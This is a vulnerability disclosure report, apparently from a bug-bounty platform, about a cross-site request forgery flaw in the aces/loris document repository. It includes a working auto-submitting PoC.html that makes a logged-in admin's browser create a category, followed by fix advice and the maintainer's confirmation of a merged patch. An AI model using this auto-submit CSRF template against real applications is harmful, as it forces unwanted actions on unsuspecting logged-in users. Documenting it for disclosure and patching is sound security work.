Cross-Site Request Forgery (CSRF) in aces/loris

Valid

Reported on

Aug 17th 2021


✍️ Description

Attacker able to create any Category with CSRF attack.

It does not matter at all that your application run in localhost or elsewhere, just it is enough to run on a browser and another low privilege user or attackers know the IP address or hostname of your application.

In CSRF attacks it is necessary that a user logged into your application and just going to a malicious website and after that only with a redirection attacker can create any Category , this means only with visiting a site a Category will be created.

🕵️‍♂️ Proof of Concept

1.fisrt admin already should be logged in Firefox or Safari.

2.Open the PoC.html (it is auto-submit).

3.Here a Category with name aaa will be created after the PoC.html file opened.

// PoC.html

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https:\/\/demo.loris.ca\/document_repository\/UploadCategory", true);
        xhr.setRequestHeader("Accept", "*\/*");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------287375093741968315903436539714");
        xhr.withCredentials = true;
        var body = "-----------------------------287375093741968315903436539714\r\n" + 
          "Content-Disposition: form-data; name=\"categoryName\"\r\n" + 
          "\r\n" + 
          "aaa\r\n" + 
          "-----------------------------287375093741968315903436539714--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
      submitRequest();
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>

💥 Impact

This vulnerability is capable of create any Category.

Fix

The easiest way that you set strict attribute on each cookie. The best way is that you set a CSRF token in each endpoint.

Occurences

We have contacted a member of the aces/loris team and are waiting to hear back 4 months ago
aces/loris maintainer
3 months ago

Maintainer


Thank you for reporting this.

This should be fixed by the same bugfix for the samesite session cookie attribute as your other reports. https://github.com/aces/Loris/pull/7539

aces/loris maintainer confirmed that a fix has been merged on 13df53 3 months ago
The fix bounty has been dropped